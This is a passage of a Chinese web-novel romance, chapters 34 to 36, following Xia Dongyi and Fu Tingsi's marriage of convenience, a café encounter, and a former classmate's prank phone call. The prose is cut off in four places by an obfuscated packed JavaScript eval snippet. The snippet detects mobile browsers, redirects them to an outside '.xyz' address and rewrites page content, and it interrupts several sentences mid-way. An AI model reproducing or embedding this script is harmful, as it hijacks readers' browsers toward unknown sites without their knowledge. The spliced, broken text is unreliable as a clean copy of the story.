最搞笑的还是刺头,这件事之后,像是转了性,见着傅亭斯就“大哥”“大哥”的喊,傅亭斯走哪他就跟哪,巴结的不得了。傅亭斯不吃这套,也知道刺头没安好心,傅亭斯没那么蠢,他这人精中的人精,小时候大人就讲他“比正常人多一窍”,两百个心眼子还多不少,怎么可能这么容易被忽悠。 傅亭斯就这么个人,讲义气,最仗义,做事靠谱,也有变通的智慧,小事上不拘小节,大事上绝对不含糊,肝胆相照,两肋插刀,做朋友做兄弟做老板做合作伙伴,统统都是没话说的。 但做恋人,做夫妻,肯定是不符合夏冬意要求的,她有更高的标准。 说一千道一万就是,她对傅亭斯不来电。 夏冬意对郁吱吱直言:“我得承认,他确实是有人格魅力的人,虽然嘴很贱,也欠扁,但是也不是完全那样的,有时候对我还是很好的,但那种好,没有让我觉得自己有任何的特殊性,就和他对他的朋友,他的兄弟那种好,是一样的,我没有觉得自己被他区别对待过,也从来没有想过他会喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“反正平常不会有那种想法啊,”夏冬意说道,然后假装自己很忙碌的样子,“我要干活了,你不是要走吗,怎么还不走?” 就这么把郁吱吱这座大佛请走了。 夏冬意开始忙碌起来,她觉得最近傅亭斯浪费了她太多精力,手里边还有个工作计划没写,得抽时间赶出来。对待工作,夏冬意是很认真的,毕竟如果工作不好,得回去继承家业。不认真也不行。 夏冬意很喜欢这样忙碌的上午,一门心思在工作上,哪怕甲方是个傻逼也好过满脑子都是和傅亭斯的那点破事,不忙的时候,她觉得自己特别空虚,心里疯狂长出野草。 日子怎么会过得这么无聊这么平淡啊,夏冬意好想出去旅行,但她是牛马,牛马最宝贵的就是时间了,也都是公司的。 如果没有结婚,她还能在每个周末见不同的男人,虽然碰到的奇葩不少,但至少还能当做餐后闲聊的谈资和闺蜜们吐槽吐槽。 而现在,连这些都没有了。 夏冬意不禁怀念起来了以前相亲的日子。 人果然会在失去的时候最懂得珍惜。 以前每次她觉得无聊,就会发信息给傅亭斯。不管他会不会回。 现在这人每天都会见到,失去了神秘感。 但夏冬意还是在工作间隙,抽出那么十几秒的时间来,随手发过去一条消息,像逗一条狗一样。只会在自己无聊的时候才想起来,撩一下他。 善良的咚咚:[你说你喜欢我,那你敢对天发誓吗?] 不久,她收到了对方的回复:[我是傻逼吗?] 很快,第二条。 [我收回那句话] 夏冬意没明白,发了三个问号过去。 然后就停下了手头的工作,反正那个工作计划,晚点交也没事,盯着手机屏幕等他的回信。 足有五分钟,等的夏冬意都快没有了耐心的时候,信息跳进了她的眼帘。 清清楚楚的十个字,再加两个标点。 [你听错了,我没说喜欢你。] 34. 小狗不听话 夏冬意一口老血差点吐出来,等了半天竟然等来了这么一句话。她不确定傅亭斯说的是真话还是假话,也不想去判断,她为什么要判断,凭什么让她判断? 夏冬意很生气,万分的生气。这人有毛病吧,喜欢她是他亲口说的,现在又反悔了,不肯承认了,她本身也不是真的想让他发誓,谁知道还真给她套出来了。 就是逗她玩的嘛。如果真喜欢她,为什么相处了二十七年,现在才说?为什么她以前都没感觉出来他的喜欢? 这更加验证了夏冬意的猜测。 夏冬意有一种遭到羞辱的感觉,觉得自己花那么多时间想他的时间很不值得,她甚至产生了一种想法:好啊,既然你不想离婚,我也不离了,看我们谁耗谁! 那么多年的相处经验,如果她稍微静下心来想一下,不难发现傅亭斯的潜台词,但夏冬意无法冷静下来,他总是这样,说话半真半假的,让人去猜他哪一句话是真的,哪一句话是假的,小时候夏冬意还会忍耐,但现在,她不要猜也不要想,她听到是什么就是什么,感受到是什么就是什么,她又不是他肚子里的蛔虫。 人最怕的就是翻旧账,哪怕当初不在意的事情,大的小的有的没的,陈芝麻烂谷子的事情,全都拉出来鞭策一遍,一一贴上标签。 就拿他动不动就拉黑她这件事,夏冬意就不爽很久了,一直忍着他也是因为每次事发她都会告诉自己,傅亭斯就这么个人,等和好之后,自然就把她拉回来了。为了装作不在意,下一次她比他更快地拉黑他。 还有很多诸如此类的。因为傅亭斯对她的态度像对兄弟,一点不顾及她是个女生,有时候也是很敏感的,导致她对傅亭斯也是那样的态度,两个人经常开各种玩笑,仿佛已经成为了他们之间的默契。 但夏冬意有时候还是希望,傅亭斯能够把她当成一个女孩子看待。她甚至怀疑,自己从来没把傅亭斯当成过异性,就是源于,他没有把她当成异性。 夏冬意今天的记忆力出奇的好,突然想起大学毕业之前,提前半个月,傅亭斯说会来参加她的毕业典礼,夏冬意特别惊喜,那会儿傅亭斯还在国外读研,夏冬意担心他太忙,让他不用过来了。他满口答应,说无论如何都会抽出时间来的。 她等啊盼啊,翘首以盼了半个月,结果呢? 结果就是,那没心肝的家伙关了一天的手机,没有音讯,后面电话总算通了,他却懒懒告诉她,忘记了。 夏冬意原本以为已经忘掉这件事了,一点也不在乎了,事实上,她从来没忘记过,只是埋得够深而已,深到自己都以为忘掉了呢,傅亭斯才不是傻逼,她才是那个傻逼吧。 夏冬意气得不行,把手机往旁边一甩,砰一声和桌板轻撞了一声,发出闷响声,坐在隔壁的同事朝她这边望了望,夏冬意沉浸在激烈翻涌的情绪中,余光扫到那边投来的目光,正眼也没有看一下,像是压根没注意到。 静坐了会儿,理智慢慢归为,有一个第三方的视觉抽离出来,她问自己,你那么生气干嘛,你在在意什么? 紧接着,夏冬意连忙否认:我哪有在意,我一点也不关心他是否喜欢我,我就是生气,就是郁闷,这人怎么能这样,说过的话马上就反悔了呢。 不仅仅只是这件事,答应她期限一到马上离婚,他也能反悔。 没想到相处了这么多年,现在才发现,傅亭斯斯这种言而无信的人。 太悲哀了,是她的悲哀。 所以,她根本不是在意。 夏冬意给自己的情绪来源下了这样的定义。 给夏冬意发那几句话,傅亭斯并没有带上任何感情色彩,只是看到她说让他对天发誓,觉得无语又好笑,他不是不了解夏冬意,知道她这人爱闹,可能就是觉得无聊了,顺手发给他的。 他本应该顺着她的话,来一句:好,我对天发誓,我喜欢夏咚咚。 但如果真要这么说,他就不是傅亭斯了。喜欢就是喜欢,这是事实,如果他真的对天发誓,反而说明这个事实还需要向神明证明,这不是笑话吗? 傅亭斯得承认,有时候确实不太能考虑到夏冬意的感受,或者说,他不太能理解姑娘家弯弯绕绕的心思,对她也像对他的那些兄弟一样,讲话很糙,不够细腻。 他的思维逻辑就是,既然你怀疑,那我收回就是了。 兄弟之间,这样的话说一说,是无伤大雅的,但对一个姑娘家,人家会当真。 他和夏冬意这样的相处模式习惯了,她也从来没说过她不喜欢,两个人说话经常半真半假的开玩笑,偶尔她也会说他不够温柔,但也从来没就这件事展开过讨论,傅亭斯从来没发现有什么问题。 等了一会儿都没等到夏冬意回复,傅亭斯发了一个问号过去,对方还是没回复,他正往对话框里输入文字,助理David走进办公室,手里拿着一叠资料夹:“老板,下周末您可能需要去海洲岛出个差。” 打到一半的文字信息中断,傅亭斯从手机屏幕上方抬起眼,瞧着David。后者舔了舔唇,说道:“有个应酬需要您接洽。” 傅亭斯仍看着对方,一动不动,过了几秒说道:“市场部的人呢?” 什么时候接洽客户还需要他亲自去了? David将手里其中一个资料夹打开,放到傅亭斯面前:“华美集团大区经理筱总,点名让您去,您不去的话,这项case恐怕谈不成,这是她的资料。” 看到筱灿这个名字时,傅亭斯眯起了眼。 他对这个人有点印象,就到想不起是初中还是高中追过他的,当年还弄得挺大张旗鼓的。 但是追他的女生如过江之鲫,傅亭斯有点记忆混乱。就算看到旁边贴着的照片,他还是对不上脸。 David见他不语,出声提醒道:“老板,这位大客户我看你一个人不怎么吃得消,还是带着您夫人一起去吧。” 傅亭斯抬头看向他。 Daxid不慌不忙解释道:“这次应酬的地点是海洲岛,您也知道那是度假旅游观光的地方,而且所有费用全由筱总出,只邀了您一个人过去,可见她的目标很明确。不过幸好您已经结婚了,带着老婆一起去,我想筱总也没办法拒绝。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14629465|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 傅亭斯手指轻敲着桌面,不几秒,微微凝滞的眉心舒展开来。 思忖了一下,他说道:“我觉得这是个好主意,就这么决定了,下周末?” “对,”David确认了日程安排,“下个周末,两天一晚。” — 中午吃过饭,夏冬意靠在懒人椅里,模模糊糊睡了一觉。 她做了一个梦。 高考之后,夏冬意复读了一年。傅亭斯大学也在江市念的,江大,双一流大学,江市最高学府。 夏冬意本想住宿,夏爸夏妈不舍得。那是江市最好的高中,学校管理和大学差不多,学生自主学习为主,名气大是因为资源配置是全市最高的,学生素质也高。 这一年夏冬意拼了命的学习,每天在学校里上课不够,每天傍晚,傅亭斯开车过来接她,带她到附近他租的房子帮她额外补习。 这些两家的父母都不知道。夏冬意是后来无意间才知道的,他当时租那房子的钱全都是他自己的。 模模糊糊的,就在睡梦中想起了这件往事。梦境的画面不甚清晰,像泛黄的老照片,又像幕布下的灯影,摇摇晃晃的。 那足足有一年,不管刮风还是下雨,晴天还是烈日,傅亭斯每天守时的等在学校门口。傅善民从小就对儿子严格,成年了也没给他买车的打算,就算是家里的车也不让他开出去,说他一个学生,首要是学习,不学无术,一天到晚学那些纨绔子弟招摇惹事,算什么? 傅亭斯就搞了辆二手车,天天来学校接她。他就那么招摇一个人,那模样,那气质,再加上穿衣有些自己的风格和审美,随便往哪一站,就招人的恨,一辆大众硬是被他开出千万的架势。 那时候学校里,周围的人都在说,夏冬意有个校外的男朋友,对她可好了。 只有夏冬意自己知道,那是她的竹马,她的铁哥们,才不是什么男朋友。 夏冬意最怕的就是下雨天,南方夏天的暴雨天,一下就几个小时不停歇。还有春冬的回南天,连绵不绝的雨水,下的人要断气。 站在雨里等人,就觉得自己是一只在大海里飘零没有依靠帆船。 而那一年,夏冬意觉得自己好像也没有那么讨厌雨天了。因为她总能在那样的雨季里,见到等候在雨里的傅亭斯。 昏黄的灯光充满了梦境的每个角落,将她心里那一点飘远了的,早已变得模糊不堪的温暖回忆,重新勾了出来。 她学习累了,趴在桌上休息,朦胧中,听到锅里咕噜咕噜地沸腾声,粥香味弥漫在这个小小的出租屋里。 傅亭斯的粥熬好了。 她醒过来了,睁开眼睛,满目被春光铺满。 夏冬意不知道在这场梦里酣睡了多久,只是觉得,自己从来不知道,傅亭斯曾经真的很用心地对她好过。 而她,原来忘记了这么久。 于是,她拿起手机,给傅亭斯发了一条信息。 [爱你宝贝,我们晚上一起遛狗呀!] 不过一会儿,夏冬意收到了回复。 [又喝醉了?] 35. 小狗不听话 夏冬意极度无语。 果然狗嘴里吐不出象牙。 她上班跑出去喝什么酒?就醉过那么两次,还真给她贴上标签了。 所有的心情都没有了,连同着梦境残留下来的那一点点感动,全都消失殆尽。 记忆有时候是会美化和装饰的,尤其是做梦的时候,全都是错觉,一定是错觉。 夏冬意下了判断,也不打算再理会傅亭斯。 刚好郁吱吱来找她,于是就把这件事抛到了九霄云外。 郁吱吱是来找夏冬意去喝咖啡的,程子衡的咖啡店在他们这个圈子里还蛮出名,尤其是广大女性客户,时不时都喜欢上他那儿坐坐,郁吱吱也是常客。 夏冬意最近很少去,郁吱吱说她不够朋友,怎么样都是程子衡的小学妹,怎么样也得给学长面子,多多的去捧场。 夏冬意讲不来为什么很少光顾,可能就是因为受傅亭斯影响,他和程子衡不对付,莫名其妙的,她也受了影响。 夏冬意发现,自己也并没有想象中那么对程子衡心心念念难以忘怀。 “倒是奇怪,”郁吱吱一边将夏冬意从懒人椅里拉起来,一边纳闷道:“他之前那店的名字改掉了。” 夏冬意随心问道:“改成什么了?” “现在叫友间咖啡屋,还没有之前那个好听。” “之前那个叫什么来着?”夏冬意站起身来。 “这你都能忘?”郁吱吱一脸服气的表情,“就是冬夏啊冬夏!我都怀疑他是不是暗恋你,取了这么个名字。” 夏冬意想说,这又不是她的专属,至于换名,思绪跳转,上次傅亭斯的信息在脑海中一闪而过,说什么那是他的冠名商标,只能他用,别人用都是违法的。 真是绝了,什么奇葩言论。 “不过这事还挺说不准的,”见她没有任何反应,郁吱吱接着说道:“我觉得程子衡不错呢,长得帅,又温柔,还做的一手好咖啡,我上次有偷偷暗示过他。” “暗示他什么?” “就是你跟傅亭斯啊,就是为了应付家里才结婚的,而且你俩一年以后就离婚,反正你对傅亭斯也没感觉,还不如让他把机会留给别的男人,要万一程学长对你有好感,也不用那么拘束嘛。” 夏冬意刷视频的动作顿了顿,不几秒后,收起手机,皮笑肉不笑地笑了一下:“这个想法不错。” 这个时间点,咖啡店生意很热闹,大概是忙不过来,程子衡雇请了两名员工帮忙,一个点单收银,另一个传菜,他自己则负责咖啡甜点的制作。 郁吱吱显然已是这里的常客,拉着夏冬意熟门熟路来到吧台前坐下,吆喝一声:“老板,来两杯今天的新品。” 正做咖啡的程子衡转过头来,看到夏冬意靠在吧台前面挥手同他打招呼:“好久不见,程学长。” 程子衡对她微微一笑,点头致意,然后跟收银的员工吩咐:“一杯茉莉椰蓉,一杯柠檬果C,再加两分甜点,我请客。” 员工在电脑上搜寻了一会儿:“老板,我找不到柠檬果C啊。” 程子衡头也不抬地说道:“哦,这是今天的新品,还没做,这单不用点,从我私人账上走。” 终于,他忙完了,亲自端着两杯咖啡喝甜品送到吧台前的两位姑娘面前,比了一个请姿,示意她们慢用。 郁吱吱看热闹不嫌事大,夸张叫道:“哇,我来了这么多次,都没有这等待遇,果然还得是我们咚咚啊。” 说着,对夏冬意挤眉弄眼,暗示意味明显。 “谢谢。”夏冬意拿起面前的马克杯,扑鼻的香味,是她最爱的柠檬红茶,裹在一层咖啡和水果的芬芳中,忍不住品尝了一口,白色的奶沫残留在嘴角。 程子衡动作自然地伸手,食指去勾她嘴角的奶白色,夏冬意下意识皱起眉心,脑袋偏了偏,没让他碰到。 程子衡微微怔楞,动作一僵,接着,他笑了笑,表情没有任何尴尬和唐突,淡然地收起了手。像是什么也没发生般。 夏冬意发现,自己一直以来对程子衡存在的滤镜,来源于少女时期对他的崇拜敬仰,升起的好感。而这些好感充其量只能是那个阶段下的产物,它没有经历作为基础,没有经过千锤百炼的历练,没有一起吃过苦,流过泪,没有在黄昏的街头相拥哭泣,也没有在酩酊大醉后吐露真言,甚至都没有见过彼此最脆肉的一面,只想把最好最光鲜的那一面展现给对方,这样的好感,只存在于少女的幻想之中,有如空中楼阁般虚浮空洞,那时却以为这样一段感情,这样一个人,是自己一辈子要追寻的目标。 然而,自己的内心是欺骗不了自己的,只要后来,他作出一点点超过自己预期的,打破自己幻想的行为来,就立马产生出了下头的反应。就如此刻,如果这个动作是傅亭斯做的,夏冬意还不会特别反感,为何程子衡却让她感到轻浮呢。 也许是因为习惯吧。 你看,习惯是多么可怕的事情,哪怕你不爱对方,可他做出这样的举动,也不会让你感到不舒服,但如果换一个人,那是不行的。 绝对是不行的。 夏冬意没有给自己的躲避的行为找补,而是直言自己不喜欢被人触碰。 这话明显是有漏洞的,上次傅亭斯在这儿,那么亲昵地揽着她,也没见她说任何不喜欢的话。程子衡没有傻到去提这个茬,虽然郁吱吱几次三番暗示他,夏冬意和傅亭斯的婚姻是假的,程子衡还是深感威胁。 夏冬意指了指甜点和咖啡,算上郁吱吱那两份,问他:“这加起来一共多少钱?” 她脸上并没有太多的表情,拿出手机,输入锁屏密码,扫了扫搁在机器旁边的二维码,摆明了态度。 程子衡一低眼就扫到了夏冬意按开锁键的动作。 他没想到,这么一个在他看来没有任何暗示性的动作,引起了夏冬意这么强烈的反应。甚至要抹杀之前所有的交集,和她一直以来的又好。 程子衡不理解。 他一如既往的温和,没有任何的恼怒,也绝口不提刚刚的插曲,只淡淡说,“没多少钱,不用放在心上。” “这可不成,”夏冬意没有半分退让,“不能每次来都让你请客。” “没事,你也不经常来。” “这哪能天天来,不把你吃破产了。”夏冬意知道,程子衡不会让她付这笔费用的,她这么说其实也是把态度摆明了,下次他也不会好意思再给她免单了。 下次?夏冬意想,还会有下次吗? 她是有一些感情洁癖的,一旦对某人下头后,就恨不得和对方扯清关系,不要有任何的来往。 尤其是曾经喜欢过的人。 夏冬意没有了交谈的兴趣,和郁吱吱有一搭没一搭聊着,郁吱吱也感受到了她情绪微妙的变化,不敢再和程子衡攀搭有的没的。 程子衡又去忙了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673005|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 杯里的咖啡还剩大半杯,甜点也吃了没几口,夏冬意想走了,郁吱吱却没有离开的打算。 夏冬意耐下心等她。 她托着下巴,侧过头,目光掠过满室的客人,投向窗外。突然想到傅亭斯,这会儿他在忙什么呢?中午的时间,应该在吃饭吧。 每次无聊的时候,就会想找他鬼扯些有的没的打发时间。 这一次,夏冬意也没有例外的,和以前一样,给傅亭斯打了个电话过去。 嘟—— 嘟—— 嘟—— …… 响了很久。 一头是咖啡店里稍显吵嚷的环境,显得另一头安谧而冗长,大概是太无聊了,夏冬意都有点佩服自己今天的耐心,按照往常她的尿性,两声过后没有人接,她就果断挂断电话了。 时间都是宝贵的。她的时间尤其是。 不知道在搞毛线,她的电话也不接了。夏冬意郁闷的心想,就在决定挂断电话之际,那头突然接通了。 “喂,你好,请问哪位?”对面是一个女生,背景音极静,将那声音衬得很清冷。 夏冬意皱了皱眉,问她是谁,傅亭斯人呢。 对方停顿了半秒,然后说道:“他在洗澡啊,你是谁?” 我是谁?夏冬意火都来了,虽然她也不知道这火是以何立场发的:“他的手机怎么在你手上?” 那头女人轻轻笑起来:“我都说他在洗澡了,你说呢。” 夏冬意突然冷静了下来,她意识到自己好像才应该是那个局外人才对,但是如果说对方真的是他名副其实的女朋友的话,这剧情未免太扯。她怎么可能一点没耳闻,她跟傅亭斯不存在隐瞒的必要,本来就是貌合神离的婚姻关系,就算他不想离婚,也说不过去,她不可能对这号人物一点都不知道? 短短几秒时间,夏冬意梳理清楚了脉络,不仅不生气,反而笑盈盈地说道:“你是妓女还是小姐啊,哦,都没差,我告诉你哦,他这人经常在外面勾三搭四的,找小姐也是家常便饭,你最好去检查一下身体,要是染上什么病了,不要怪我没提醒你啊。” “还有啊,”不给对方插嘴的机会,夏冬意语重心长劝导:“如今这个社会,找什么工作不行啊,尤其是女孩子,找份像样点的工作,不要这么作践自己,虽然他给的多,但你真的也要为自己的将来做打算啊,要不然,还有个办法,尝试着让他爱上你,这样说不定你就能转正了,到时候我一定把位置让给你,祝你马到成功。” 夏冬意说完自己的话,直接挂断了电话,继续低头吃甜品,脸上没有一点不虞。 郁吱吱坐在她旁边,刚才的话一字不漏都听到了,就是没听明白意思,向了好一会儿也没搞清楚逻辑,疑惑道:“咚咚,你刚才跟谁打电话呢?” 夏冬意自己也不知道乱七八糟的说了些啥,心口的那团郁火烧得她坐不住,抽过纸巾擦了擦嘴角,拎起包起身,淡淡说道:“做了一件好事。” 郁吱吱也跟她身后站起来:“啥好事?” “祝有情人终成眷属。” “哈?”郁吱吱惊掉下巴,她刚刚听到的明明不是这样的啊,“你不是说傅亭斯找小姐,还劝人家说转正是啥意思啊?” 郁吱吱搞不懂她的脑葫芦瓜子。 夏冬意扭头,对郁吱吱明媚一笑,“嫖客和妓女,就不配有情人终成眷属吗?” 36. 小狗不听话 中午,傅亭斯照例跟几个兄弟在外面吃饭,被工作上的事耽搁了一会儿,出门的时候已经晚了,驶到银泰附近,被一辆横穿出来的小轿车剐到了。 那开轿车的是个女司机,上面白衬衣,下着包臀裙,踏着双高跟鞋,一边往下拉着两边裙摆,匆匆忙忙跑出来,发现撞到的是一辆宾利,一个头两个大,虽然只是刮擦了一下,也很要命。 傅亭斯没有立即下车,他赶时间,本来打算叫保险公司派人过来,然后让拖车拉走,但看到那女司机这身穿着,顿时不打算就这么算了。 女司机见他没有下车的意思,弯腰敲敲窗户。下一秒,玻璃降下,傅亭斯正拿着手机,面无表情打着报警电话。 女司机脸色僵了一僵,待他收起手机,她恍恍然惊喜道:“傅亭斯!天哪,这是什么缘分,你不是出国了吗,什么时候回来的?” 她的表情像是遇到老朋友那样的熟恁。 傅亭斯冷眼看着她。 这种事他遇到多了,尤其是女人的搭讪,能精准叫出他名字的也不算什么新鲜事。 甚至连一句“你是谁”都懒得问。 “我是陈羽啊,高中坐你后排的,你忘了?” 傅亭斯确实是忘了。 碍于老同学的面子,他潦草地点了点头,哦出一声。 读书的时候,陈羽就很喜欢傅亭斯了,毕业以后还是很关注着他的消息。傅亭斯那时候有多火呢,毫不夸张的说,学校里有一大半的女生都暗恋过他,即便是毕业多年,每逢开同学会,校友团建这样的场合,都逃不开他这个话题中心人物。 只不过自他出国以后,这人好像一下低调了起来,很难再打听到有关他的消息了,以至于他是什么时候回来的,陈羽都不知道。 陈羽打量着他。都说岁月是把杀猪刀,这话放在傅亭斯身上是一点不灵验,岁月留在他身上的痕迹,除了五官变得深邃和气质愈发的成熟,就没有留下其他残忍的变化了。 这个年纪的男人,清爽感和不发福能占到一项,就已经是老天的厚爱了,偏偏傅亭斯两者兼具,不得不感慨,老天有时候就是这么的不公平。关键是他还有一张顶绝的面孔,顶绝的身材,最最关键是他还有一个顶有钱的爹,最最最最关键是,他自己也顶会赚钱。 现在,这个顶绝的男人,配上这么一辆顶绝的车,真是顶顶顶的绝。 陈羽以为,这是一个契机,一个信号,就像电视剧里放的那样,于多年以后,男女主重逢于一场意外的刮擦,从此以后,命运开始有了相交。 直到,她的目光落在男人领口上方,露出的半个红印。作为一个成年人,不可能不知道,这代表什么。她心神一晃,接着,脑海中跳出一个画面,刚刚他降下玻璃窗,那举着手机的左手,无名指上赫然一枚戒指。 当时内心并不愿意承认,所以自动地掠过了这个细节。 “你结婚了?什么时候的事,怎么没听说?”陈羽问道,她的内心是震惊的,还有点不服输,她想知道对方是谁,事他们班上的吗,还是他在国外留学的经历,对方长得什么样,能力怎么样,优秀吗,和她比呢? 一系列的情绪在心里弥漫开来,陈羽自己也搞不清楚究竟在想什么,一时之间五味杂陈。 傅亭斯没有回答她的问题,确切来说是无可奉告。 他对陈羽没什么好印象,穿着高跟鞋开车,无视法律,爱制造麻烦,浪费社会资源,不是蠢就是坏,如果不是老同学的面子,他都懒得在这浪费时间。 傅亭斯下了车,听到陈羽说:“你还是和以前一样,不爱搭理人。” 他连看也没看她一眼,走到前面查看车损情况。 交警和保险公司前后脚到的,定了责,签了字。 陈羽的车损毁程度比较严重,没办法再开了,问傅亭斯借手机,说要打给朋友来接她。 “你手机呢?”傅亭斯问她。 “忘带了,求求你了,看在老同学的份上,借我打一下,要不然我回不去了。” 傅亭斯心情糟糕透了,虽然不大情愿,但到底承不过老同学的面子,当是做一件好事。冷着脸掏出手机,开锁,扔给她。 陈羽确实是没带手机,今天出门急,满以为手机扔包里了,刚才把包里的东西全都倒出来也没找到手机,只好向傅亭斯借了。 陈羽走到远处,一个很安静的地方去打电话,打完电话后,正要转回身,突然进来一则通话,陈羽下意识就要去把手机还给傅亭斯,在看到屏幕上闪着的备注名“老婆”时,突然生出了邪念。 她捂着着快要跳出来的心脏,接起这个电话。 “喂,你好,请问哪位?”陈羽的声音很平静。 那头明显是楞了楞,而后问她:“你谁啊,傅亭斯人呢?” 语气没有一点怯懦,一听就是不好拿捏的主。 换个人肯定以为是自己打错了,但她没有,一上来就宣告主权,虽然没说自己的身份,但那语气,猖狂的要命,就好像在说:这男人是我的,你算哪根葱? 这分明就是一个骄纵的大小姐,从小就享受着得天独厚的爱,才会有这样的骄矜。 陈羽被她的气场震的说不出话来,平复了一下,陈羽说道:“他在洗澡,你是谁?” “他的手机怎么在你手上?”一副女主人质问的架势。 陈羽自然是心虚的,心跳狂飙,真怕傅亭斯从哪个角落冒出来,她一边转身往后瞧,一边还要演戏,对着那头轻轻笑道:“我都说他在洗澡了,你说呢?” 然而对面不是吃素的,哐哐哐的一顿输出,话密的陈羽完全没有插嘴和招架的余地,末了,不等陈羽反击,直接挂断了电话。 “……” 陈羽怎么也想不到,会被盖章成为□□的??? 而且对方完全没听她的意思,只顽固地表达自己的想法。 还不惜抖漏两人私生活那点不光彩的事迹。 天哪。 没想到傅亭斯也和绝大多数男人一样,有那种不检点的行为。真看不出来啊,难道他脖子上的吻痕,也是…… 这通电话,信息量之大,让陈羽有些难以消化,对男神的滤镜似乎也碎了一地。 打完电话,过了一两秒的时间,她才反应过来,趁手机没锁屏之前,把通话痕迹消除了。 接着,装作若无其事的模样,把手机交还给了傅亭斯。 车被拖车公司送去维修,傅亭斯打车到饭馆,正好碰上在门口碰上徐亦然。今天徐亦然来的也晚了,他刚出差回来,本来说赶不上就不来了。看到傅少爷在群里说有事耽搁住了,反正徐亦然也没这么快到,就让剩下两个等他们都到了再开始, 徐亦然挺感动的,以为傅亭斯是为了他能一起吃饭,才找了这么个借口。 这会儿看到傅亭斯打车过来,徐亦然既震动又惊奇,心想,这少爷真够意思,为了兄弟几个能聚上这顿,太煞费苦心了。 徐亦然满怀着感动,对傅亭斯挤挤眼:“兄弟,你的心意我领了,用不着这样的,你跟我说一声,我肯定来。” 傅亭斯听不懂他到底想说什么,疑惑瞟向。 徐亦然拿肩膀撞了撞他,促狭一笑:“少装,咱们做兄弟这么多年,你不说我也知道。” 傅亭斯神情茫然:“你知道什么?” 徐亦然这才发现不对劲,仔细观察了一下傅亭斯的表情,反应过来:“你车呢?” “被擦了。” “啊?”徐亦然眼睛都瞪大了。 傅亭斯皱皱眉:“你啊什么?” 徐亦然恍然大悟:“你不是为了让我吃上这顿饭才来这么晚的?” 傅亭斯像看神经病的眼神扫了眼他:“你喝多了吧。” 转身走进包厢,把消化不过来的徐亦然扔在了原地。 服务员打开包厢门请他进去的时候,一个念头闪过傅亭斯脑海:最近真是奇怪,喝多了都快成口头禅了。 刚刚路上,方棋彻打电话问了详细情况,,傅亭斯刚坐下,就调侃起来:“你这老司机也有失手的一天啊。” 傅亭斯拂开服务员要上前给他拿酒的动作,给自己倒了半杯红酒,反正他今天不开车,爱怎么喝怎么喝:“碰上瞎搞的,老老司机都不好使,穿着高跟鞋开车,这不是胡闹么。” 他平时说夏冬意胡闹,现在才发现是冤枉她了、 徐亦然打趣道:“别是人家看上你了,故意的呢。” 方棋彻看热闹不嫌事大,附和着:“对啊对啊,这种事你遇到的还少吗?” 傅亭斯白了一眼他俩:“瞎起哄什么,说正事。下周末我要去海洲岛出个差,想和咚咚一起去,怕她不答应。” 童淼森想当然的说道:“海洲岛,好地方啊,度假中心,那一年四季气温都只有二十多度,很宜居的,干嘛不去啊,她不去,你可以带我去吗?” 逗得方棋彻和徐亦然笑个不停,起哄说道:“还有我们,跟着少爷公费旅游。” “谁要带你们,”傅亭斯慢条斯理切着牛排,眼都没抬,“我只带我老婆,你们别闹了,快点帮我想办法,她要是不同意怎么办?” 傅亭斯知道,别看夏冬意大大咧咧,但她一直是个很明确目标的人,从小就读书好,因为家里靠不住,只能靠自己,后来即使知道家里很富裕,能支持她所有的梦想,她依然还是很努力很努力完成学业,甚至未考上江市最好的大学而选择复读,毕业以后也没有靠家里,而是按部就班的选择在公司上班,她说她没有什么野心,只是想很踏实地走好脚下每一步。 她和很多富二代的女孩子不一样,低调,随和,知足常乐,普通的不能再普通,却又珍贵的不能再珍贵。她不是那种,他一句话,她就会什么都不问的跟着他走,她会问的明明白白,为什么出差要带上她,有什么目的,有什么好处?她一定要弄得清清楚楚,要听到内心的答案,是真的想去,或者不想去,才能做出决定。 所以他必须也要有一个说服她的理由。 但是眼下,他自己的理由都姑且说服不了自己,又哪能说服得了夏冬意? “这还不好办,你就跪下来求她,这招最好使了,女人最受用了。”童淼森说。 徐亦然朝他挤眉弄眼,“淼森很有经验哦。” 童淼森:“你这样子好贱,别让我吐你脸上。” 傅亭斯满脸写着无语,不想理会他们。 “你别听他俩。”方棋彻冷不丁开口,“你这次出差的性质是什么?” “见客户。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14725958|149142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方棋彻:“这应该用不着你出面吧。” 这才是问题的关键点。 傅亭斯抬起头看向他:“有人让我亲自去。” “女客户?” 其他几人都来了兴趣,连连感叹,这傅少爷的桃花是十年如一日的旺啊。 